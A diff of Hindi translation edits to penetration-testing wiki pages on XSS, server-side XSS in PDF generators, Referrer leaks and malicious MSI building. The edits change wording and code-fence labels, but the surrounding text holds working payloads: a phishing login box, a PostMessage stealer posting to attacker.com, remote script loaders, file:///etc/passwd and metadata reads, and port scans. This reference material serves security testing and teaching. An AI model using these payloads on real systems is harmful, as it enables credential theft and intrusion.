@ -840,7 +840,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -923,7 +923,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? सूची में नहीं लेकिन मुझे लगता है कि मैंने इसे CTF में देखा)
|
||||
- text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे CTF में देखा)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
@ -931,7 +931,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
यदि पृष्ठ text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँचने और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1048,7 +1048,7 @@ trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
@ -1360,10 +1360,10 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_छोटे समय एक प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करते हैं।_
|
||||
|
||||
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहाँ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहाँ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
|
||||
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहां**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहां**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
|
||||
|
||||
### क्रेडेंशियल्स के लिए पूछने वाला बॉक्स
|
||||
```markup
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### ऑटो-फिल पासवर्ड कैप्चर
|
||||
@ -1381,7 +1381,7 @@ body:username.value+':'+this.value
|
||||
|
||||
### कीलॉगर
|
||||
|
||||
बस गिटहब पर खोजने पर मैंने कुछ अलग-अलग कीलॉगर पाए:
|
||||
गिटहब पर खोजते समय मुझे कुछ अलग-अलग मिले:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
</script>
|
||||
```
|
||||
### PostMessage संदेश चुराना
|
||||
```markup
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
window.onmessage = function(e){
|
||||
@ -1432,7 +1432,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
### ब्लाइंड XSS पेलोड्स
|
||||
|
||||
आप इसका भी उपयोग कर सकते हैं: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||||
@ -1517,7 +1517,7 @@ xss-in-markdown.md
|
||||
|
||||
### गतिशील रूप से बनाए गए PDF में XSS
|
||||
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाना JS कोड निष्पादित** करे।\
|
||||
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
@ -1532,7 +1532,7 @@ pdf-injection.md
|
||||
|
||||
### Amp4Email में XSS
|
||||
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP घटकों](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
|
||||
|
||||
@ -1541,7 +1541,7 @@ AMP, मोबाइल उपकरणों पर वेब पृष्ठ
|
||||
### फ़ाइलें अपलोड करते समय XSS (svg)
|
||||
|
||||
एक छवि के रूप में निम्नलिखित फ़ाइल को अपलोड करें (से [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
-----------------------------232181429808
|
||||
@ -1559,13 +1559,13 @@ alert(1);
|
||||
-----------------------------232181429808--
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<script type="text/javascript">alert("XSS")</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
|
||||
@ -8,20 +8,20 @@
|
||||
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **Server XSS** का कारण बन सकते हैं।
|
||||
|
||||
कृपया ध्यान दें कि `<script></script>` टैग हमेशा काम नहीं करते, इसलिए आपको JS को निष्पादित करने के लिए एक अलग विधि की आवश्यकता होगी (उदाहरण के लिए, `<img` का दुरुपयोग करना)।\
|
||||
इसके अलावा, ध्यान दें कि एक नियमित शोषण में आप **बनाई गई PDF को देख/डाउनलोड** कर सकेंगे, इसलिए आप जो कुछ भी **JS के माध्यम से लिखते हैं** (उदाहरण के लिए `document.write()` का उपयोग करके) उसे देख सकेंगे। लेकिन, यदि आप **बनाई गई PDF को नहीं देख सकते**, तो आपको शायद **जानकारी निकालने के लिए वेब अनुरोध करना** होगा (Blind)।
|
||||
इसके अलावा, ध्यान दें कि एक नियमित शोषण में आप **बनाई गई PDF को देख/डाउनलोड** करने में **सक्षम** होंगे, इसलिए आप जो कुछ भी **JS के माध्यम से लिखते हैं** (उदाहरण के लिए `document.write()` का उपयोग करके) उसे देख सकेंगे। लेकिन, यदि आप **बनाई गई PDF को नहीं देख सकते**, तो आपको शायद **जानकारी निकालने के लिए वेब अनुरोध करना** होगा (Blind)।
|
||||
|
||||
### लोकप्रिय PDF निर्माण
|
||||
|
||||
- **wkhtmltopdf** HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न प्रकार के अनुप्रयोगों के लिए सुलभ बनाता है।
|
||||
- **TCPDF** PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र के भीतर एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जो जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को दर्शाता है।
|
||||
- जो लोग Node.js वातावरण में काम कर रहे हैं, उनके लिए **PDFKit** एक व्यवहार्य विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे PDF दस्तावेज़ों का निर्माण करने की अनुमति देता है, जो वेब सामग्री और प्रिंट करने योग्य प्रारूपों के बीच एक पुल प्रदान करता है।
|
||||
- जावा डेवलपर्स **iText** को प्राथमिकता दे सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण को सुविधाजनक बनाता है बल्कि डिजिटल हस्ताक्षरों और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताओं का सेट इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाता है।
|
||||
- **TCPDF** PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र के भीतर एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को प्रदर्शित करता है।
|
||||
- जो लोग Node.js वातावरण में काम कर रहे हैं, उनके लिए **PDFKit** एक व्यवहार्य विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे PDF दस्तावेज़ों का निर्माण करने की अनुमति देता है, वेब सामग्री और प्रिंट करने योग्य प्रारूपों के बीच एक पुल प्रदान करता है।
|
||||
- जावा डेवलपर्स **iText** को प्राथमिकता दे सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण की सुविधा प्रदान करता है बल्कि डिजिटल हस्ताक्षर और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताओं का सेट इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाता है।
|
||||
- **FPDF** एक और PHP पुस्तकालय है, जो अपनी सरलता और उपयोग में आसानी के लिए जाना जाता है। यह उन डेवलपर्स के लिए डिज़ाइन किया गया है जो PDF निर्माण के लिए एक सीधी दृष्टिकोण की तलाश कर रहे हैं, बिना विस्तृत सुविधाओं की आवश्यकता के।
|
||||
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```markup
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
@ -36,7 +36,7 @@
|
||||
### SVG
|
||||
|
||||
इस SVG payload के अंदर पिछले या निम्नलिखित payloads में से कोई भी उपयोग किया जा सकता है। एक iframe जो Burpcollab उपडोमेन को एक्सेस करता है और दूसरा जो मेटाडेटा एंडपॉइंट को एक्सेस करता है, उदाहरण के रूप में दिए गए हैं।
|
||||
```markup
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
@ -63,7 +63,7 @@ alert(1);
|
||||
आप बहुत सारे **अन्य SVG पेलोड** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) में पा सकते हैं।
|
||||
|
||||
### पथ प्रकटीकरण
|
||||
```markup
|
||||
```html
|
||||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||||
if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
### Load an external script
|
||||
|
||||
इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ लोड करने के लिए मजबूर कर सकेंगे।
|
||||
```markup
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
@ -82,7 +82,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
> `file:///etc/passwd` को उदाहरण के लिए `http://169.254.169.254/latest/user-data` में बदलें ताकि **एक बाहरी वेब पृष्ठ (SSRF)** तक पहुँचने की कोशिश की जा सके।
|
||||
>
|
||||
> यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [संभावित बायपास के लिए इस पृष्ठ की जाँच करें](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){document.write(btoa(this.responseText))};
|
||||
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
@ -100,7 +100,7 @@ xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe src=file:///etc/passwd></iframe>
|
||||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
@ -112,11 +112,11 @@ xhzeem.send();
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### बॉट देरी
|
||||
```markup
|
||||
```html
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
@ -129,7 +129,7 @@ time += 500;
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### पोर्ट स्कैन
|
||||
```markup
|
||||
```html
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
@ -147,13 +147,13 @@ checkPort(i);
|
||||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (क्या कुछ मेटाडेटा पढ़ा?).
|
||||
यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (क्या कुछ मेटाडेटा पढ़ा जा सकता है?)।
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
कुछ HTML 2 PDF इंजन हैं जो **PDF के लिए अटैचमेंट निर्दिष्ट करने** की अनुमति देते हैं, जैसे **PD4ML**। आप इस सुविधा का दुरुपयोग करके **PDF में किसी भी स्थानीय फ़ाइल को अटैच** कर सकते हैं।\
|
||||
अटैचमेंट खोलने के लिए मैंने **Firefox के साथ फ़ाइल खोली और पेपरक्लिप प्रतीक पर डबल क्लिक किया** ताकि **अटैचमेंट को एक नई फ़ाइल के रूप में स्टोर किया जा सके**।\
|
||||
Burp के साथ **PDF प्रतिक्रिया** कैप्चर करने से **PDF के अंदर स्पष्ट पाठ में अटैचमेंट भी दिखाना चाहिए**।
|
||||
बर्प के साथ **PDF प्रतिक्रिया** कैप्चर करने से **PDF के अंदर स्पष्ट पाठ में अटैचमेंट भी दिखाना चाहिए**।
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html>
|
||||
|
||||
@ -10,7 +10,7 @@ Referrer वह हेडर है जिसका उपयोग ब्रा
|
||||
|
||||
## शमन
|
||||
|
||||
आप ब्राउज़र को एक **Referrer-policy** का पालन करने के लिए कह सकते हैं जो **संवेदनशील जानकारी** को अन्य वेब अनुप्रयोगों में भेजने से **बचा** सकता है:
|
||||
आप ब्राउज़र को एक **Referrer-policy** का पालन करने के लिए कह सकते हैं जो संवेदनशील जानकारी को अन्य वेब अनुप्रयोगों में भेजने से **बचा** सकता है:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
@ -21,14 +21,14 @@ Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## काउंटर-निवारण
|
||||
## Counter-Mitigation
|
||||
|
||||
आप इस नियम को एक HTML मेटा टैग का उपयोग करके ओवरराइड कर सकते हैं (हमलावर को एक HTML इंजेक्शन का शोषण करने की आवश्यकता है):
|
||||
```markup
|
||||
आप इस नियम को एक HTML मेटा टैग का उपयोग करके ओवरराइड कर सकते हैं (हमलावर को एक HTML इंजेक्शन का लाभ उठाने की आवश्यकता है):
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## रक्षा
|
||||
## Defense
|
||||
|
||||
कभी भी किसी संवेदनशील डेटा को GET पैरामीटर या URL में पथ के अंदर न रखें।
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@ MSI इंस्टॉलर का निर्माण wixtools का उप
|
||||
wix MSI उपयोग के उदाहरणों की व्यापक समझ के लिए, [इस पृष्ठ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) पर परामर्श करना उचित है। यहाँ, आप wix MSI के उपयोग को प्रदर्शित करने वाले विभिन्न उदाहरण पा सकते हैं।
|
||||
|
||||
उद्देश्य एक ऐसा MSI उत्पन्न करना है जो lnk फ़ाइल को निष्पादित करेगा। इसे प्राप्त करने के लिए, निम्नलिखित XML कोड का उपयोग किया जा सकता है ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||||
@ -40,11 +40,11 @@ fail_here
|
||||
```
|
||||
यह ध्यान रखना महत्वपूर्ण है कि Package तत्व में InstallerVersion और Compressed जैसे गुण होते हैं, जो इंस्टॉलर के संस्करण को निर्दिष्ट करते हैं और यह संकेत करते हैं कि पैकेज संकुचित है या नहीं, क्रमशः।
|
||||
|
||||
निर्माण प्रक्रिया में msi.xml से wixobject उत्पन्न करने के लिए wixtools से candle.exe उपकरण का उपयोग करना शामिल है। निम्नलिखित कमांड निष्पादित की जानी चाहिए:
|
||||
निर्माण प्रक्रिया में msi.xml से wixobject उत्पन्न करने के लिए wixtools से candle.exe उपकरण का उपयोग करना शामिल है। निम्नलिखित आदेश निष्पादित किया जाना चाहिए:
|
||||
```
|
||||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||||
```
|
||||
इसके अलावा, यह उल्लेख करना महत्वपूर्ण है कि पोस्ट में एक छवि प्रदान की गई है, जो कमांड और इसके आउटपुट को दर्शाती है। आप दृश्य मार्गदर्शन के लिए इसका संदर्भ ले सकते हैं।
|
||||
इसके अलावा, यह उल्लेख करना महत्वपूर्ण है कि पोस्ट में एक चित्र प्रदान किया गया है, जो कमांड और इसके आउटपुट को दर्शाता है। आप दृश्य मार्गदर्शन के लिए इसका संदर्भ ले सकते हैं।
|
||||
|
||||
इसके अलावा, light.exe, जो कि wixtools का एक और उपकरण है, wixobject से MSI फ़ाइल बनाने के लिए उपयोग किया जाएगा। निष्पादित करने के लिए कमांड इस प्रकार है:
|
||||
```
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user